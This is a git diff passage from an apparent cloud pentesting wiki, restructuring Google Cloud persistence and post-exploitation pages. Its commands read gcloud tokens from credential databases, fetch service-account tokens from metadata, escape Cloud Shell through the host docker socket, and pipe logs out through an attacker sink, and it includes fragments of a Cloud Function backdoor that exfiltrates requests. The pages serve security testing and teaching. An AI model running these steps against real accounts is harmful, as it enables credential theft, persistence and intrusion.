+ --region=us-central1
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
new file mode 100644
index 000000000..2777d5391
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
@@ -0,0 +1,21 @@
+# GCP - Filestore Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Filestore
+
+For more information about Filestore check:
+
+{{#ref}}
+../gcp-services/gcp-filestore-enum.md
+{{#endref}}
+
+### Give broader access and privileges over a mount
+
+An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
+
+{{#ref}}
+gcp-filestore-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
new file mode 100644
index 000000000..86265608f
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
@@ -0,0 +1,21 @@
+# GCP - Logging Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Logging
+
+Find more information about Logging in:
+
+{{#ref}}
+../gcp-services/gcp-logging-enum.md
+{{#endref}}
+
+### `logging.sinks.create`
+
+Create a sink to exfiltrate the logs to an attackers accessible destination:
+
+```bash
+gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
similarity index 63%
rename from pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
rename to src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
index 848dcdb7a..8c553e503 100644
--- a/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
@@ -1,55 +1,38 @@
 # GCP - Token Persistance
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Authenticated User Tokens
 
 To get the **current token** of a user you can run:
 
-{% code overflow="wrap" %}
 ```bash
 sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
 ```
-{% endcode %}
 
 Check in this page how to **directly use this token using gcloud**:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
+{{#endref}}
 
 To get the details to **generate a new access token** run:
 
-{% code overflow="wrap" %}
 ```bash
 sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
 ```
-{% endcode %}
 
 It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
 
 To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
 
-{% code overflow="wrap" %}
 ```bash
 curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
 ```
-{% endcode %}
 
 The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
 
-<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
 
 ### Auth flow
 
@@ -61,24 +44,21 @@ The authentication flow when using something like `gcloud auth login` will open
 
 Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
 
-{% hint style="danger" %}
-Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
-{% endhint %}
+> [!CAUTION]
+> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
 
 ### OAuth Scopes
 
 You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
 
-{% code overflow="wrap" %}
 ```bash
 curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
 ```
-{% endcode %}
 
 It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
 
 ```bash
-curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
+curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
     echo -ne "Testing $scope         \r"
     if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
         echo ""
@@ -118,20 +98,7 @@ Some remediations for these techniques are explained in [https://www.netskope.co
 
 ### References
 
-* [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
-* [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
+- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
+- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
new file mode 100644
index 000000000..16b9ea247
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
@@ -0,0 +1,22 @@
+# GCP - Secret Manager Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secret Manager
+
+Find more information about Secret Manager in:
+
+{{#ref}}
+../gcp-services/gcp-secrets-manager-enum.md
+{{#endref}}
+
+### Rotation misuse
+
+An attacker could update the secret to:
+
+- **Stop rotations** so the secret won't be modified
+- **Make rotations much less often** so the secret won't be modified
+- **Publish the rotation message to a different pub/sub**
+- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
new file mode 100644
index 000000000..ad54454ba
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
@@ -0,0 +1,38 @@
+# GCP - Storage Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Storage
+
+For more information about Cloud Storage check:
+
+{{#ref}}
+../gcp-services/gcp-storage-enum.md
+{{#endref}}
+
+### `storage.hmacKeys.create`
+
+You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
+
+```bash
+# Create key
+gsutil hmac create <sa-email>
+
+# Configure gsutil to use it
+gsutil config -a
+
+# Use it
+gsutil ls gs://[BUCKET_NAME]
+```
+
+Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
+
+### Give Public Access
+
+**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
+
+{{#ref}}
+../gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
similarity index 100%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
new file mode 100644
index 000000000..4a92c4c1b
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
@@ -0,0 +1,43 @@
+# GCP - App Engine Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## `App Engine`
+
+For information about App Engine check:
+
+{{#ref}}
+../gcp-services/gcp-app-engine-enum.md
+{{#endref}}
+
+### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
+
+With these permissions it's possible to:
+
+- Add a key
+- List keys
+- Get a key
+- Delete
+
+> [!CAUTION]
+> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
+>
+> If you know easier ways to use these permissions send a Pull Request!
+
+### `logging.views.access`
+
+With this permission it's possible to **see the logs of the App**:
+
+```bash
+gcloud app logs tail -s <name>
+```
+
+### Read Source Code
+
+The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
+
+### Modify Source Code
+
+Modify source code to steal credentials if they are being sent or perform a defacement web attack.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
new file mode 100644
index 000000000..08e30528d
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
@@ -0,0 +1,21 @@
+# GCP - Artifact Registry Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Artifact Registry
+
+For more information about Artifact Registry check:
+
+{{#ref}}
+../gcp-services/gcp-artifact-registry-enum.md
+{{#endref}}
+
+### Privesc
+
+The Post Exploitation and Privesc techniques of Artifact Registry were mixed in:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
new file mode 100644
index 000000000..115fa6ee9
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
@@ -0,0 +1,29 @@
+# GCP - Cloud Build Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Build
+
+For more information about Cloud Build check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-build-enum.md
+{{#endref}}
+
+### `cloudbuild.builds.approve`
+
+With this permission you can approve the execution of a **codebuild that require approvals**.
+
+```bash
+# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
+curl -X POST \
+     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
+     -H "Content-Type: application/json" \
+     -d '{{
+         "approvalResult": {
+           object (ApprovalResult)
+         }}' \
+     "https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
similarity index 76%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
index 24c013b55..8057b3b10 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
@@ -1,40 +1,25 @@
 # GCP - Cloud Functions Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cloud Functions
 
 Find some information about Cloud Functions in:
 
-{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
-[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-functions-enum.md
+{{#endref}}
 
 ### `cloudfunctions.functions.sourceCodeGet`
 
 With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
 
-{% code overflow="wrap" %}
 ```bash
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
 -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-{% endcode %}
 
 ### Steal Cloud Function Requests
 
@@ -83,7 +68,7 @@ def exfiltrate(request):
     except Exception as e:
         if not "read operation timed out" in str(e):
             return str(e)
-    
+
     return ""
 
 def new_http_view_func_wrapper(function, request):
@@ -93,7 +78,7 @@ def new_http_view_func_wrapper(function, request):
             return function(request._get_current_object(), last=True, error=error)
         except Exception as e:
             return str(e)
-    
+
     return view_func
 """
 
@@ -104,14 +89,14 @@ def injection():
         import flask
         import os
         import importlib
-        import sys        
+        import sys
 
         if os.access('/tmp', os.W_OK):
             new_function_path = "/tmp/function.py"
             with open(new_function_path, "w") as f:
                 f.write(new_function)
             os.chmod(new_function_path, 0o777)
-        
+
         if not os.path.exists('/tmp/function.py'):
             return "/tmp/function.py doesn't exists"
 
@@ -132,12 +117,12 @@ def injection():
             spec_handler.loader.exec_module(module_handler)
             spec_backdoor.loader.exec_module(module_backdoor)
 
-        # make the cloud funtion use as handler the new function 
+        # make the cloud funtion use as handler the new function
         prev_handler = getattr(module_handler, handler_fname)
         new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
         app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
         return "Injection completed!"
-    
+
     except Exception as e:
         return str(e)
 ```
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
new file mode 100644
index 000000000..101518536
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
@@ -0,0 +1,23 @@
+# GCP - Cloud Run Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Run
+
+For more information about Cloud Run check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-run-enum.md
+{{#endref}}
+
+### Access the images
+
+If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.
+
+If the images are stored in repos inside the service Artifact Registry and the user has read access over the repos, he could also download the image from this service.
+
+### Modify & redeploy the image
+
+Modify the run image to steal information and redeploy the new version (just uploading a new docker container with the same tags won't get it executed). For example, if it's exposing a login page, steal the credentials users are sending.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
similarity index 52%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
index cd5dbc522..30135adc2 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
@@ -1,56 +1,38 @@
 # GCP - Cloud Shell Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cloud Shell
 
 For more information about Cloud Shell check:
 
-{% content-ref url="../gcp-services/gcp-cloud-shell-enum.md" %}
-[gcp-cloud-shell-enum.md](../gcp-services/gcp-cloud-shell-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-shell-enum.md
+{{#endref}}
 
 ### Container Escape
 
 Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
 
-{% code overflow="wrap" %}
 ```bash
 sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
 sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
 sudo docker -H unix:///google/host/var/run/docker.sock start escaper
 sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
 ```
-{% endcode %}
 
 This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
 
 Moreover, notice that from the host you can find a service account token:
 
-{% code overflow="wrap" %}
 ```bash
 wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
 default/
 vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
 ```
-{% endcode %}
 
 With the following scopes:
 
-{% code overflow="wrap" %}
 ```bash
 wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
 
@@ -58,19 +40,16 @@ https://www.googleapis.com/auth/devstorage.read_only
 https://www.googleapis.com/auth/logging.write
 https://www.googleapis.com/auth/monitoring.write
 ```
-{% endcode %}
 
 Enumerate metadata with LinPEAS:
 
-{% code overflow="wrap" %}
 ```bash
 cd /tmp
 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
 sh linpeas.sh -o cloud
 ```
-{% endcode %}
 
-After using [https://github.com/carlospolop/bf\_my\_gcp\_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
+After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
 
 ### Use it as Proxy
 
@@ -120,17 +99,4 @@ cd ngrok;./ngrok tcp 3128
 
 The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
similarity index 53%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
index 1235ac87d..34da94a25 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -1,27 +1,14 @@
 # GCP - Cloud SQL Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cloud SQL
 
 For more information about Cloud SQL check:
 
-{% content-ref url="../gcp-services/gcp-cloud-sql-enum.md" %}
-[gcp-cloud-sql-enum.md](../gcp-services/gcp-cloud-sql-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-sql-enum.md
+{{#endref}}
 
 ### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
 
@@ -64,11 +51,9 @@ gcloud sql users create <username> --instance <instance-name> --password <passwo
 
 This permission allows to **update user inside** the database. For example, you could change its password:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud sql users set-password <username> --instance <instance-name> --password <password>
 ```
-{% endcode %}
 
 ### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
 
@@ -115,17 +100,4 @@ Delete a database from the db instance:
 gcloud sql databases delete <db-name> --instance <instance-id>
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
